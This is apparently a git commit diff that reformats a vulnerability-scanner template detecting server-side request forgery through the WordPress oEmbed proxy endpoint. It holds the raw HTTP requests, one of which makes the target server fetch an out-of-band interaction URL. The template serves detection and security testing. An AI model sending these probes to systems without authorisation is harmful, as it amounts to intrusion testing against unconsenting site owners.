Update wordpress-ssrf-oembed.yaml

patch-1
Ritik Chaddha 2023-09-04 23:43:10 +05:30 committed by GitHub
parent 5e5274108d
commit 93863aeb08
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 19 additions and 13 deletions

View File

@ -1,29 +1,35 @@
id: wordpress-ssrf-oembed
info:
name: Wordpress Oembed Proxy SSRF
name: Wordpress Oembed Proxy - Server-side request forgery
author: dhiyaneshDk
severity: medium
reference:
- https://book.hacktricks.xyz/pentesting/pentesting-web/wordpress
- https://github.com/incogbyte/quickpress/blob/master/core/req.go
tags: wordpress,ssrf,oast,proxy
metadata:
fofa-query: body="oembed" && body="wp-"
max-request: 1
fofa-query: body="oembed" && body="wp-"
tags: wordpress,ssrf,oast,oembed
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/oembed/1.0/proxy"
- "{{BaseURL}}/wp-json/oembed/1.0/proxy?url=http://{{interactsh-url}}/"
- raw:
- |
GET /wp-json/oembed/1.0/proxy HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-json/oembed/1.0/proxy?url=http://{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(to_lower(response_1), "rest_missing_callback_param")'
- type: word
part: body_1
words:
- 'rest_missing_callback_param'
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http")'
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"